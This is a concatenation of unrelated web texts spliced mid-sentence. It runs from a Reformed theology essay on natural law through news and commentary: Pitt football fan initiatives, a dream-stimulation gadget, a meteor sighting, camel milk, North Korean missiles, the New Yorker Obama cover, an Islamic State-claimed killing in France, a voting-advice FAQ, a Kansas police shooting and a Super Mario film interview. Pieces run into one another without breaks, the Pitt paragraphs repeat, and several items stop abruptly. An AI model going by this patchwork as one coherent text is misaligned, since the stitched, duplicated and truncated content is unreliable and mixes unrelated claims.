rules of justice, loosen the bonds of law, and give free scope to their lust; and while others (a vice of most frequent occurrence) deem that to be unjust which is elsewhere regarded as just, and, on the contrary, hold that to be praiseworthy which is elsewhere forbidden. For such persons do not hate the laws from not knowing that they are good and sacred, but, inflamed with headlong passion, quarrel with what is clearly reasonable, and licentiously hate what their mind and understanding approve. Quarrels of this latter kind do not destroy the primary idea of justice. For while men dispute with each other as to particular enactments, their ideas of equity agree in substance. This, no doubt, proves the weakness of the human mind, which, even when it seems on the right path, halts and hesitates. Still, however, it is true, that some principle of civil order is impressed on all. And this is ample proof, that, in regard to the constitution of the present life, no man is devoid of the light of reason… If the Gentiles have the righteousness of the law naturally engraven on their minds, we certainly cannot say that they are altogether blind as to the rule of life. Nothing, indeed is more common, than for man to be sufficiently instructed in a right course of conduct by natural law, of which the Apostle here speaks. Let us consider, however for what end this knowledge of the law was given to men. For from this it will forthwith appear how far it can conduct them in the way of reason and truth… The end of the natural law, therefore, is to render man inexcusable, and may be not improperly defined—the judgment of conscience distinguishing sufficiently between just and unjust, and by convicting men on their own testimony depriving them of all pretext for ignorance. So indulgent is man towards himself, that, while doing evil, he always endeavours as much as he can to suppress the idea of sin… [T]he intellect is very seldom mistaken in the general definition or essence of the matter; but that deception begins as it advances farther, namely, when it descends to particulars. That homicide, putting the case in the abstract, is an evil, no man will deny; and yet one who is conspiring the death of his enemy deliberates on it as if the thing was good. The adulterer will condemn adultery in the abstract, and yet flatter himself while privately committing it. The ignorance lies here: that man, when he comes to the particular, forgets the rule which he had laid down in the general case… Moreover, when you hear of a universal judgment in man distinguishing between good and evil, you must not suppose that this judgment is, in every respect, sound and entire. For if the hearts of men are imbued with a sense of justice and injustice, in order that they may have no pretext to allege ignorance, it is by no means necessary for this purpose that they should discern the truth in particular cases… Indeed, if we would test our reason by the Divine Law, which is a perfect standard of righteousness, we should find how blind it is in many respects. It certainly attains not to the principal heads in the First Table… As to the precepts of the Second Table, there is considerably more knowledge of them, inasmuch as they are more closely connected with the preservation of civil society. Even here, however, there is something defective… For the natural man cannot bear to recognise diseases in his lusts. The light of nature is stifled sooner than take the first step into this profound abyss… –Institutes II.ii
See also the Canons of Dort
There is, to be sure, a certain light of nature remaining in man after the fall, by virtue of which he retains some notions about God, natural things, and the difference between what is moral and immoral, and demonstrates a certain eagerness for virtue and for good outward behavior. But this light of nature is far from enabling man to come to a saving knowledge of God and conversion to him—so far, in fact, that man does not use it rightly even in matters of nature and society. Instead, in various ways he completely distorts this light, whatever its precise character, and suppresses it in unrighteousness. In doing so he renders himself without excuse before God. Canons of Dort III.4
Thus Abraham Kuyper was right when he said
[We insist] that sin refers to moral fall and guilt, and further, that this fall consisted in three things: a darkening of the light of reason, an impairment of the power of the will, and a corrupting of our affections. From this it follows that without spectacles, as Calvin expressed it, the book of nature can no longer be read, such that neither from nature nor from the light of our reason can we know whether, and if so, in what way, there is any means whereby we may escape the power and guilt of sin. From this flows the need for a further special revelation to be added to nature, having two purposes: both to teach us to understand again the book of Nature, and to open for us the path to reconciliation with God. So we receive a word of God in twofold form: A word of God within the creation, and a word of God with which he adds to created things (Band aan het Woord, 10).
Thus Scripture is absolutely necessary to properly understand general revelation.
Furthermore, VanDrunen does not understand the role that presuppositionalism plays in all matters of philosophy, including political philosophy. He has incorrectly stated that it only has relevance to apologetics.
Conclusion
Thus Reformed Libertarianism rejects “Radical Two Kingdoms” with its dual ethics. Scripture is necessary and must be the foundation of a correct political philosophy. Historic two kingdom theology rightly understood that Christ’s kingdom is not of this world and may not be defended by the sword of this world. Christians are to live among non-Christians in a pluralistic society just as Christ taught that the wheat must grow among the tares, awaiting his return.
Related Posts
External ResourcesPITTSBURGH--University of Pittsburgh athletic director Scott Barnes today unveiled a number of initiatives designed to enhance the total fan experience at Heinz Field beginning this fall.
"There is a tremendous amount of excitement surrounding Coach Pat Narduzzi's team, evidenced by our record-pace ticket sales," Barnes said. "It is our goal to provide the finest, most enjoyable experience in all of college football. We've had some outstanding collaborations with our inaugural Panthers Fans Experience Committee and also gathered important information through our Pitt football fan survey. The initiatives we are announcing today are the result of the feedback gathered from those two important groups."
Pitt's new fan initiatives for the 2016 football season are:
Expanded alcohol sales at Heinz Field: The opportunity to purchase beer will be available stadium-wide beginning this fall. Previously, alcohol was only sold in the club and suite sections. The expansion of this amenity will coincide with the implementation of appropriate safety measures for Pitt game days, ensuring the continuation of a fan and family friendly environment for all. (Such measures are already in place for Steelers home games. Aramark, Heinz Field's official food and beverage concessionaire, provides comprehensive staff training in the sale of alcohol.) A portion of the funds from beer sales proceeds will be dedicated to drug and alcohol education programs for the overall student body through Pitt's Division of Student Affairs.
The opportunity to purchase beer will be available stadium-wide beginning this fall. Previously, alcohol was only sold in the club and suite sections. The expansion of this amenity will coincide with the implementation of appropriate safety measures for Pitt game days, ensuring the continuation of a fan and family friendly environment for all. (Such measures are already in place for Steelers home games. Aramark, Heinz Field's official food and beverage concessionaire, provides comprehensive staff training in the sale of alcohol.) A portion of the funds from beer sales proceeds will be dedicated to drug and alcohol education programs for the overall student body through Pitt's Division of Student Affairs. Panthers Pregame Tailgate Party: Featuring fun for Pitt fans of all ages, the Panthers Pregame Tailgate Party along Art Rooney Avenue will be significantly enhanced for the 2016 season. Entertainment will include live music, interactive games and a large video screen. A new menu provides fans with expanded food and beverage choices designed to make this the perfect spot for all fans to gather prior to kickoff.
Featuring fun for Pitt fans of all ages, the Panthers Pregame Tailgate Party along Art Rooney Avenue will be significantly enhanced for the 2016 season. Entertainment will include live music, interactive games and a large video screen. A new menu provides fans with expanded food and beverage choices designed to make this the perfect spot for all fans to gather prior to kickoff. "The Panther Pitt" student section: In a continuation of last year's successful initiatives directly derived from student feedback, Pitt Athletics has continued to productively collaborate with student leaders, the Division of Student Affairs and Pitt Parking and Transportation to ensure an outstanding student game day experience. This includes additional shuttles to and from Heinz Field, in-game activities, postgame food and beverage and enhanced communication.
In a continuation of last year's successful initiatives directly derived from student feedback, Pitt Athletics has continued to productively collaborate with student leaders, the Division of Student Affairs and Pitt Parking and Transportation to ensure an outstanding student game day experience. This includes additional shuttles to and from Heinz Field, in-game activities, postgame food and beverage and enhanced communication. Single-game parking: For the first time ever, parking passes for individual Panthers home games are available for purchase through the Pitt Ticket Office.
For the first time ever, parking passes for individual Panthers home games are available for purchase through the Pitt Ticket Office. Improved Pitt Gameday Live App: A must for Panthers fans, the improved Pitt Gameday Live App will provide real-time notifications sent directly to your mobile device. Fans will receive parking, traffic and weather updates, as well as information on game day events and activities. This app also lets fans know exactly when Coach Narduzzi and the Panthers will be arriving at Heinz Field so they can greet the team before the game.
A must for Panthers fans, the improved Pitt Gameday Live App will provide real-time notifications sent directly to your mobile device. Fans will receive parking, traffic and weather updates, as well as information on game day events and activities. This app also lets fans know exactly when Coach Narduzzi and the Panthers will be arriving at Heinz Field so they can greet the team before the game. Panthers Fans Appreciation Program: As a show of gratitude for Pitt fans' outstanding support through ticket sales for 2016, the Pitt Athletic Department and IMG are introducing the Panthers Fans Appreciation Program. Following each home football game, season-ticket holders and mini-package customers who were in attendance will receive a Panther Appreciation Award email with an exclusive discount or gift certificate.
As a show of gratitude for Pitt fans' outstanding support through ticket sales for 2016, the Pitt Athletic Department and IMG are introducing the Panthers Fans Appreciation Program. Following each home football game, season-ticket holders and mini-package customers who were in attendance will receive a Panther Appreciation Award email with an exclusive discount or gift certificate. Script Pitt Gear at Heinz: All Heinz Field stores will have a comprehensive collection of the latest Pitt script merchandise, including jerseys, T-shirts, hats, sweatshirts, throwback gear and other accessories.
Season tickets and mini-plans for the 2016 Pitt football season are now on sale. Call the Pitt Ticket Office at (800) 643-PITT (7488) or log on to PittsburghPanthers.com. For the latest Pitt football news, follow the Panthers on Twitter and Instagram
The 2016 Pitt football schedule with announced television arrangements and start times:
Sept. 3: Villanova (ESPN3), 1:30 p.m.
Sept. 10: Penn State (ABC or ESPN), Noon
Sept. 17: at Oklahoma State (ESPN), 3:30 p.m.
Sept. 24: at North Carolina*, TBA
Oct. 1: Marshall, TBA
Oct. 8: Georgia Tech* (Homecoming), TBA
Oct. 15: at Virginia*, TBA
Oct. 27 (Thurs.): Virginia Tech* (ESPN), 7 p.m.
Nov. 5: at Miami*, TBA
Nov. 12: at Clemson*, TBA
Nov. 19: Duke*, TBA
Nov. 26: Syracuse*, TBA
Dec. 3: Dr Pepper ACC Championship Game#, 7:45 p.m. (ESPN) or 8 p.m. (ABC)
*ACC game
#Bank of America Stadium, Charlotte, N.C.
Due to television, TBA kickoff times will be announced at a later date.Today when we think about the science of sleep and dreaming we imagine EEG polygraphs and fMRIs of cloudy cranial matter. The brain is the primary object of study. It was not always so. Back in the 19th century there was no direct way to observe the brain’s activity, and yet there were plenty of inquisitive scientists, and plenty of interest in dreaming. What was a scientist to do?
The answer, of course: conduct experiments. Researchers – usually solitary gentlemen physicians with a certain amount of disposable income – would use their bedrooms as laboratory, and often their own person as subject. Their main tool was external stimuli. As they slumbered, an assistant or servant would introduce sounds, smells, lights and other sensations to the sleeper and record both external physiological responses (grunts, twitches, sighs, exclamations) and – once the dreamer had woken – internal psychological responses (actual dream reports). What they found was that the apparent insensitivity of the sleeper to the external world was not absolute. Certain judiciously-applied stimuli could affect the course of the dream itself.
The Scottish physician Robert Macnish, who published The Philosophy of Sleep in 1836, describes a couple such anecdotes:
“…A friend of mine happening to sleep in damp sheets, dreamed that he was dragged through a stream. Another friend dreamed he was stroking a kitten that purred most lustily. On awakening, he found that the working of the heavy machinery of a neighboring mill was slightly shaking his bed, and making the joints produce a sound like the purring of a cat…”
Most of us have experienced something like this – we’ve dreamt of the school bell only to wake and discover our alarm ringing at the side of the bed. This little-know psychological phenomena is called “incorporation.”
Many of these early investigators came up with ingenious methods of exploration. In the 1890s, the American neurologist Leonard Corning built a device in which metallic saucers were placed over the ears connected via tubing to an Edison phonograph, while a stereopticon – ancestor of the film projector – cast “chromatoscopic images” onto the wall facing the sleeper. Although the effectiveness of the visual projections is disputable, Corning claimed the music (usually Wagner) produced salutary, even transcendent dreams.
These days there is a growing body of scientific evidence to suggest external stimuli can shape dream experience. To cite just one example, in a recent study by the American Academy of Otolaryngology-Head and Neck Surgery (member since 1999), researchers exposed a group of 15 healthy dreaming women to, at different times, the smell of roses, and the smell of rotten eggs. All of the women reported positive dreams post-rose exposure, and negative dreams post-egg.
There are fairly generic and perhaps universal effects; the dreams get even more interesting when the stimuli have specific personal associations: the smell of hot chocolate that reminds the dreamer of winter skating in childhood, or a song which fills them with vague longing for an old lover. Our dreams are playgrounds for our memories. As the Harvard sleep researcher Robert Stickgold once told me, “Dreams are clearly constructed from memories. We have nothing else to build them out of.”
The French ethnographer Marquis d’Hervey de Saint-Denys, who wrote about his dream experiments in his classic 1862 text, Les réves et les moyens de les diriger (Dreams and How to Guide Them), used his own memories in just this way. One evening at a Parisian ballroom, the dashing Marquis convinced the orchestra leader to play one waltz when he danced with the beguiling Madame X, and another when he danced with the equally attractive Madame Y. When he returned home he rigged an alarm to a mechanical music box and programmed it to go off towards the end of his sleep, when he was most likely to be dreaming. On mornings the first waltz played, he dreamt of Madame X; on mornings the other played, he dreamt of Madame Y. I ask you: was there a cooler cat in the whole of France?
Today interest in incorporation is staging a comeback; a few technologies have appeared that deliberately use external stimuli to control the dream narrative. The most interesting of these is a fascinating contraption called the Dream Director. And therein lies a tale.
One of the pleasurable hazards of writing about the mind is that you get all kinds of unusual people contacting you with their various consciousness-raising theories and projects. Mostly these folks just want to talk; Paul wanted to talk too. He also wanted me to write a manual for his invention.
Within a week he had sent me a Dream Director in the mail. It looked very professional – a squat plastic tower with controls on the top and a series of ports along the bottom, each for a different sensory “arm.” One arm is auditory – a thin wire leads to a soft pillow-wrapped speaker. One is visual – a facemask studded with colored lights. Another is tactile – a vibrating nub the size of a small bar of soap. And a final separate attachment is olfactory – a miniature hot plate designed to melt scent-infused wax “tarts.”
The idea is the user programs in different combinations of sensory stimuli – sounds, smells, vibration, and colored lights – to shape their dream narrative, nudging it towards new characters and situations and atmospheres. In the words of UK artist Luke Jerram, who invented his own installation-version of the Dream Director, it is a way of “making art in dream space.”
Like Corning’s stereopticon, the Dream Director works its magic using “incorporation.” It is not unlike a set of DJ turntables, only the medium it remixes is the mind – the proto medium, the Medium of Mediums. As the DJ, the user can select from an infinite number of effects – infinite because the user can also produce customized audio using a sound editor that comes with the equipment. One night the user may experiment with the sound of wind and the smell of cinnamon. On another it is green flashing lights, a disco beat and – why not – the sound of grandfather’s voice (the weirder the combination, the stranger the conjured world). On yet another it is the sound of soaring strings and a gentle buzz overtop of the root chakra. Or maybe they just want to listen to a clip from the first part of “Stairway to Heaven”, which – via the enduring chains of memory association – may provoke a dream re-visitation of an unforgettable slow dance at their High School formal (and their subsequent humiliation with a bottle of Southern Comfort). The combinations of effects and associations are as endless as the mind itself. The canvas: an entire world.
The Dream Director figures out when you’re dreaming by waiting until the second half of the night, when most of our dreams happen. It’s not the most precise method, so Paul also came up with another way, one that works only for men. That’s right: penis technology. Men get erections in REM like clockwork; male users of the Dream Director have the option of using an ingenious “Erection Switch” – that is, a simple cloth band that wraps around the base of the penis and is held in place by a small magnet. When the man gets a REM-induced hard-on, the band unclasps and signals the Dream Director to begin the show. Although women have a similar – if anatomically more subtle – response, harnessing it has so far stumped Paul’s team of all-male engineers. Move over, Marquis.
So: did the Dream Director work for me? In the week I tested Paul’s device I recorded my mother and my three-year old niece Ellia dancing around to Brenda Lee’s “Rockin’ Around the Christmas Tree.” When I replayed the song on the Dream Director that night in my sleep, I dreamt of little Ellia wandering through my living room. On another evening, I recorded a windstorm outside my house, and later woke from a dream charged with the exact feeling of excitement I get whenever a storm hits. So no storm imagery, but plenty of storm-induced emotion. And finally – one might say, inevitably – on one night I dreamt I was being dragged around behind a white delivery van by my penis. No one promised the dreams would all be enjoyable.
The Dream Director is slowly making its way to market. In the meantime, if you are keen to get started there is at least one app and various lucid dreaming induction masks that promise to do something similar. You can also conduct your own experiments with an audio recorder and an MP3 alarm clock – just make sure not to set the volume at a level that will wake you.
A final note of caution: gentlemen … beware the white delivery van.CTV Atlantic
For the second time in two weeks, Maritimers are sharing stories of a mysterious bright light shooting across the sky.
Sightings of a fireball were reported from Bathurst, N.B. to Nova Scotia’s South Shore early Tuesday morning. People in eastern Quebec also reported a bright light around the same time.
“A number of people have reported that basically they saw a glowing fireball in the sky, different colours from different people - some blues, some greens, some reds - but basically going overhead very quickly and disappearing over the horizon,” says Rob Thacker, an astronomy professor at Saint Mary’s University.
Terry Allen and Seamus Byrne say they spotted the light just outside Moncton. They were on their way home after a snowmobiling trip when the bright light caught their eye.
“I saw it come down and break up into pieces and fall to the ground,” says Allen, who was heading toward Moncton at the time.
“What looked like towards the ground, it was big, it was nothing I’ve ever seen before.”
Byrne was heading in the opposite direction, toward Shediac. He says the fireball came from behind and passed over his head. Then he called his girlfriend to share the story.
“I called her at 5:06, it’s on my phone, and I said ‘I don’t know what I just saw but it was magnificent.”
The light was also captured on a Nova Scotia webcam near the Masstown Market at 5:04 a.m.
Thacker says the light was likely a type of meteor called a bolide. He also says they’re not uncommon.
“Things like this happen fairly regularly. In fact, we had about 3,500 reports of fireballs over North America last year,” says Thacker.
“People get excited about the sky and I think it’s kind of inherent in us. If you look at every culture you can around the world, every culture develops its own theory about the sky and so on. Now we’re much more smart, we know what things are up there, but it’s still fascinating to look up and wonder what’s up there.”
This is the second time in less than two weeks that a large fireball has been spotted over the Maritimes. On March 6, people from Digby, N.S. to Edmundston, N.B. reported a similar sighting.
“It does seem surprising we’ve had two, as far as I know totally unrelated events,” says Robert Hawkes, a physics professor at Mount Allison University. “I don’t think either of these events are related to a meteor shower.”
Hawkes says it’s possible some pieces of the meteor may have made it to earth. Byrne says it felt like the fireball landed right in front of him.
“It came close to the tree line and it just burst into a whole bunch of pieces, as if it would be some sort of firework,” he says.
While meteors are fairly common, they can instill fear in people, due in large part to Hollywood blockbusters.
“Now there’s movies talking about impacts and people are sort of freaked out about that, particularly with the impact in Russia last year,” says Thacker. “That was an amazing event.”
The Chelyabinsk meteor was a near-earth asteroid that entered the Earth’s atmosphere over Russia in February 2013. The incident injured about 1,500 people and was documented by dozens of cameras.
Despite the incident, Thacker says we shouldn’t be too worried about a world-ending asteroid anytime soon.
“People are up there looking for these big things that are going to hit us. The good thing is, I think we’re OK for 100 years or so.”
Let us know if you saw a bright light in the sky this morning. Send videos and photos to MyNews.
With files from CTV Atlantic's Jayson Baxter, Jonathan MacInnisNissan has confirmed on Tuesday that it has withdrawn its LMP1 program from the 2016 FIA World Endurance Championship. (En Français)
A statement released Tuesday brings to an end the lifespan of the GT-R LM NISMO, which ultimately just raced once, at the 24 Hours of Le Mans.
The statement reads: “Today, Nissan announced that it will withdraw its LMP1 entry from the 2016 FIA World Endurance Championship.
“Nissan entered LMP1 in the 2015 season with an innovative new, and bold concept, with the ambition to compete at the front of the field.
“The teams
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support, complaint hotline operators, restaurant servers."
Parents might even consider the study's finding when thinking about how they speaking to their children in certain circumstances. "Rather than saying to a child, 'How would you feel if that were done to you?' maybe we should be saying, 'Think about how that person is feeling.'"
###'Salty skim milk': WA's first pasteurised camel's milk hits the market
Updated
From coconut to lactose-free, almond to rice, consumers are faced with a growing array of choices when it comes to milk.
Now after years in development, pasteurised camel's milk from Western Australia's first commercial size camel dairy has joined the list.
More than 50 retail outlets have already signed up for the product, bottled on a dusty block in Dandaragan, 160 kilometres north of Perth.
Former WA Agriculture Minister Kim Chance is heading up the venture to harness WA's wild camel population to produce the milk.
"An operation of this size has never been done here before. We've got a 150 camels at the moment, milking 50 of them because that includes the babies. We are milking about 250 litres a day," he said.
"It's big step for us. We still have to raise awareness of the product within the public."
Good Earth Dairy sells 300ml bottles for around $8.00 and will soon launch a one litre bottle.
Export potential for WA's 'white gold'
At more than $20 a litre, camel milk is known as white gold.
It is low in lactose and fat, and said to be easier to digest than cow's milk.
It tastes a bit like a salty skim milk and the company claims it is the most similar product to human breast milk.
Fresh camel's milk is popular throughout the Middle East, Holland, the UK and the United States but it has not been widely available in Australia.
"Some stockists are doing extremely well … but the Australian market will always be limited because of the cost of product, we never expect we are going to rival cow milk in the long term," Mr Chance said.
The dairy plans to double its production within a year and has approval to take on another 250 camels.
Stage two of the expansion plan is to tap export markets for frozen and powdered camel dairy products.
Turning wild camels into milking machines
There are an estimated 750,000 wild camels roaming Australia's deserts, with millions spent on aerial culls.
"We think there is a better way, an opportunity to actually treat camels the way they should be treated. Because they are beautiful creatures, very affectionate and actually quite intelligent," Mr Chance said.
Rather than seeing them as a pest, the dairy takes on pregnant females and domesticates them for milking.
Dairy manager and cameleer Stephen Geppert trains the camels once they are mustered and trucked in from near Warburton.
"I get them to accept me as part of their pack and then as top of the pack and then I teach them what is acceptable and unacceptable behaviour," he said.
"To me they feel like 800-kilogram puppy dogs, very very friendly, but they are rather powerful."
Camel Milk Victoria was recently singled out at the CHOICE Shonky Awards for making false claims about the health benefits of camel milk.
The WA venture is taking a more cautious approach.
"We are working with West Australian universities, to try and get some Australian generated clinical evidence of the benefits other people that have claimed," Mr Chance said.
Topics: livestock, miscellaneous-animal-production, business-economics-and-finance, retail, dairy-production, dandaragan-6507, wa
First postedSEOUL, South Korea — North Korea used multiple-rocket launchers off its east coast on Saturday to fire three short-range missiles that could strike United States military bases deep in South Korea, officials in Seoul said.
The launches were the North’s first rocket tests since two intercontinental ballistic missile, or ICBM, were fired last month. By resuming the tests, North Korea defied repeated urgings from the United States and South Korea to stop weapons trials and other provocations to pave the way for dialogue.
The United States Pacific Command said that one of the three ballistic missiles had blown up immediately after blastoff, but that two others had traveled about 155 miles before splashing down.
That would be far enough to reach major South Korean and American military bases, including those near the city of Pyeongtaek, about 60 miles south of Seoul. The range would also be sufficient to reach Seongju, a South Korean town where the United States has begun installing an advanced missile-defense system known as Thaad.Who knows if they'll get this in Dubuque, but they sure aren't going to like it in Chicago: This week's New Yorker cover features an image of Michelle and Barack Obama that combines every smeary right-wing stereotype imaginable: An image of Obama in a turban and robes fist-bumping his be-afro'd wife, dressed in the military fatigues of a revolutionary and packing a machine gun and some serious ammo. Oh yes, this quaint little scene takes place in the Oval Office, under a picture of Osama bin Laden above a roaring fireplace, in which burns an American flag. All that's missing is a token sprig of arugula.
The illustration, by Barry Blitt,is called "The Politics of Fear" and, according to the NYer press release, "satirizes the use of scare tactics and misinformation in the Presidential election to derail Barack Obama's campaign." Uh-huh. What's that they say about repeating a rumor?
Presumably the New Yorker readership is sophisticated enough to get the joke, but still: this is going to upset a lot of people, probably for the same reason it's going to delight a lot of other people, namely those on the right: Because it's got all the scare tactics and misinformation that has so far been used to derail Barack Obama's campaign — all in one handy illustration. Anyone who's tried to paint Obama as a Muslim, anyone who's tried to portray Michelle as angry or a secret revolutionary out to get Whitey, anyone who has questioned their patriotism— well, here's your image.
Obama campaign spokesman Bill Burton called it "tasteless and offensive" and, according to Jake Tapper at ABC, another high-profile Obama supporter called it "as offensive a caricature as any magazine could publish."
The companion article by Ryan Lizza, who has written extensively about the campaign, traces Obama's early career and rise through Chicago politics. It's very long (18 pages!) and probably won't thrill a lot of Democratic party faithful, either, since it advances the image of Obama as a skilled and calculating politician who rose by becoming a master of the game:
"[P]erhaps the greatest misconception about Barack Obama is that he is some sort of anti-establishment revolutionary. Rather, every stage of his political career has been marked by an eagerness to accommodate himself to existing institutions rather than tear them down or replace them....he has always played politics by the rules as they exist, not as he would like them to exist. He runs as an outsider, but he has succeeded by mastering the inside game."
Is it the New Yorker's job to write uniformly flattering profiles of Obama? Do they have a duty to avoid controversial imagery that plays off the most dogged and damaging campaign smears? Of course not. Still, as Tapper says, there are probably "some angry, angry people in Chicago right now." Not to mention Washington, New York, and maybe even Dubuque.
Update: Artist Barry Blitt defends the cover, saying that "It seemed to me that depicting the concept would show it as the fear-mongering ridiculousness that it is." See his full statement (and previous covers) here.
Update II: New Yorker editor David Remnick responds in our exclusive interview, calling the cover "satire" targeting not Obama, but the "absurdity" of the rumors flying about him.So Mitt Romney gave a speech at a closed Ohio drywall factory, which he tried to use as a symbol of Obama’s economic failure. The symbolism was perfect — not as an illustration of Obama’s failure, but as an illustration of just how stupid Romney thinks we are.
Even regular reporters noticed that the factory in question closed under, yes, George W. Bush — a fact Romney failed to mention, although his campaign scrambled to cover for him afterwards.
What I didn’t see mentioned was the point that this was a drywall factory — that is, a supplier of a product largely used in home construction. It’s one thing to say that Obama should have revived the economy as a whole; it’s another to say that he should have brought back the housing bubble!
Finally, why should we believe that Romney’s policies — basically tax cuts for the rich, as usual — would yield great economic results? Well, I guess you can point to Bush’s example; how did his administration at this point compare with Obama? From BLS data:
You can offer various excuses for Bush’s record, I guess. But on the face of it, what possible reason is there to think that Bush-like policies would be an improvement?A knife-wielding attacker who pledged allegiance to Islamic State has stabbed a French police commander and his wife to death at their home.
The 42-year-old police chief was knifed nine times in the stomach in front of the house in the Paris suburb of Magnanville before the killer stormed inside and took his wife and three-year-old son hostage.
His wife was later found dead after special forces raided the property and killed the attacker amid a series of loud explosions after he barricaded himself inside.
The child was rescued “in shock but unharmed” following the incident at about 9pm on Monday, French prosecutors said.
Islamic State’s Amaq news agency said the group claimed responsibility for the attack.
In a post on its website, it said: "Source to Amaq agency: Islamic State fighter kills deputy chief of the police station in the city of Les Mureaux and his wife."
The unnamed police officer, who lives in the suburb 30 miles north of Paris, was stationed in the town of Les Mureaux.
Police and judicial sources said that the attacker was a 25-year-old man who had been monitored by security and anti-terrorist services after he received a three-year prison sentence in 2013 for helping Islamist militants go to Pakistan.
A judicial source said the anti-terrorism unit of the prosecutor's office had been given responsibility for the investigation because of comments made during lengthy exchanges between the assailant and negotiators.
President Francois Hollande held an early morning emergency meeting following the killings.
If it is confirmed Islamic State was behind the murders, it would be the first militant strike on French soil since the government imposed a state of emergency after the terror strikes on Paris in November that killed 130 people.
Monday's killings took place as France, which is currently behind air strikes against Islamic State, was already on high alert for terrorist attacks during the Euro 2016 soccer tournament which began on Friday.
Claims of responsibility from Islamic State come a day after the group claimed it was behind the massacre at Orlando’s Pulse nightclub which left 49 dead.
Additional reporting by agenciesWhat is WhichCandidate?
WhichCandidate is a ‘voting advice application’ that allows voters to compare their own policy views with those of the candidates standing for election.
It aims to inform voters about the policy positions of candidates and to help voters to make a more informed voting decision.
How does it work?
A set of relevant policy issues are selected by the research team in advance of the election. Election candidates are contacted to complete a questionnaire on these issues. Each participating candidate is given a public profile on the website, incorporating their answers to the questionnaire.
Voters who visit the website are asked the same set of questions, and their answers are compared with the answers of the candidates. A customised results page is then presented to each user, containing a ranking of candidates ordered by how closely their answers match.
How is the ranking calculated?
Rankings of candidates are based on the ‘percentage match’ with the user. This is the percentage of issues on which the candidate has the same position as the user, out of all the issues on which the user expressed an opinion.
For example: a user expresses an opinion on 10 issues, and on 5 of those issues the user’s position is the same as Candidate X. In this case, the percentage match between the user and Candidate X is 50%.
Some issues are more important to me than others. Can this be taken into account?
You first select the issues that are important to you, and you are then presented with questions related to those issues. You will only be matched with candidates on those issues. In addition, if there are any specific questions that you are not interested in, you can simply select 'no opinion' and they will be excluded from calculation.
Some candidates appear to be missing
We endeavoured to contact all declared candidates. Some candidates have declined to share their policy views with us and are not featured on the website. If you would like to see more candidates from your area on the website, please urge them to contact us and complete the survey.
If you are a candidate and were not contacted by us, please let us know.
Is it independent?
WhichCandidate is not associated with any political party or election candidate. It is run by researchers at the Department of Politics and Public Administration at the University of Limerick. It is supported by funding from the Irish Research Council.
Who do I contact?
Any queries or feedback on WhichCandidate can be sent to Rory Costello at the Department of Politics and Public Administration, University of Limerick [email protected]? The aunt of the 18-year-old Ottawa man who was killed by authorities said on Sunday her nephew suffered from a range of medical issues and wanted officers to take his life.
Officers with the Ottawa Police Department were dispatched to the Orscheln’s Farm and Home parking lot, 2008 S. Princeton St. in Ottawa, in response to “a person reportedly armed with a gun” at approximately 7:50 p.m. on Saturday, Cpt. Adam Weingartner said in a news release.
Responding officers, including deputies with the Franklin County Sheriff’s Office, made contact with the person, later identified as Joseph Jennings, in the parking lot. A shooting took place during the encounter, and Jennings was eventually transported to Ransom Memorial Hospital where he died, Weingartner said.
Brandy Smith, Jennings’ aunt, who lives within eyesight of the shooting scene, said she witnessed the incident. She did not see Jennings holding a gun and said that if he did have one on him, it would have been a BB gun.
She said she and her husband could have diffused the situation if she had been allowed to talk to Jennings.
Jennings’ foster father said his son was approaching authorities when he was shot. William Bruton told KAKE-TV that Jennings was shot in his chest and legs.
Witness Houston Harris says officers had their weapons drawn and told Jennings to “get down.”
The Kansas Bureau of Investigation is handling the investigation of the incident, according to the news release. Officers involved in the shooting have been placed on administrative leave while KBI conducts the investigation. Both actions are a “matter of policy,” Weingartner said.
At a press conference Sunday afternoon, a recording of which was provided to the Journal-World by KOFO radio station in Ottawa, Franklin County Attorney Stephen Hunting said an autopsy would be performed Sunday.
He said that detailed information on what precipitated the shooting would not be released until after the investigation.
“We want to be as transparent as we can with the public,” Hunting said. “At the same time, we will not be releasing a significant amount of detail about what occurred at this point, for the simple fact that the investigation’s ongoing.”
Citing exhaustion, Smith declined to give detailed information on what led to the shooting in a brief interview with the Journal-World.
She called the officers’ use of force “ridiculous” but also said she would let the ensuing investigation decide if it was justified.
Jennings lived with Smith off and on. He battled seizures, migraines, depression and other conditions his whole life, Smith said.
Twelve hours before the shooting, Smith said, Jennings attempted suicide at Smith’s home. He had been out of the hospital for three hours before the confrontation with the authorities, she said.
According to Smith, two officers who responded to the failed suicide were present at Orscheln’s parking lot.
A graduate of Oskaloosa High School, Jennings was supposed to begin school at Neosho County Community College on Monday.
“He was very intelligent, loved animals and his family,” Smith said. “He will be missed.”
At the Sunday press conference, Ottawa police Chief Dennis Butler said, “On behalf of the members of the Ottawa Police Department, we mourn the loss of any life. We extend our heartfelt condolences and compassion to the family of Mr. Jennings.”
Generally speaking, Butler said police can use “force” when officers and other civilians are, or believe to be, in imminent danger.
Orscheln employees declined to comment on the incident.Back in 1993, video games were still seen by many as something of an evil: they were corrupting the minds of children, ruining their educations and turning them into brainless zombies. As a result, there weren’t a lot of video game-inspired films around. So when it was announced that the Super Mario Bros. were making it to the silver screen, it was kind of a big deal. But for directors Rocky Morton and Annabel Jankel, it quickly became a big deal for all the wrong reasons. Morton gave us some idea as to why…
SciFiNow: Super Mario Bros. was in development before you and Annabel Jankel came on board, so how did you end up getting involved with the film?
Rocky Morton: We were with CAA, the agency, and our agent set over the script for Super Mario Bros. and I read it and I hated it, but I sort of loved the concept for it. I said to Annabel, I said, ‘This script is terrible but I think this could be our Batman!’ And she asked me how and why, and I came up with this idea of this parallel universe where the dinosaurs didn’t actually disappear, the just got shifted into another dimension and then these two hapless plumbers happened to cross the dimension.
They had a problem because Mario, who’s the elder brother, didn’t have any parents and so Mario raised Luigi as a mother and a father and Luigi always resented that, and never really had the big brother that he always wanted. He just had this beefy mother figure. That was their problem and they had to resolve that while they had this wild adventure saving with world from these dinosaurs that had evolved into these humanoid figures, and deliberately distorting the story, because this is the true story of the Mario Bros. What happened when they made the video game was the Japanese found out about the story but they kind of got it wrong. That’s why the film is different to the game. It was a deliberate choice. A lot of people think, ‘Oh, they got it wrong.’ We didn’t. It was a deliberate thing.
How did Bob Hoskins and John Leguizamo end up being casted as Mario and Luigi?
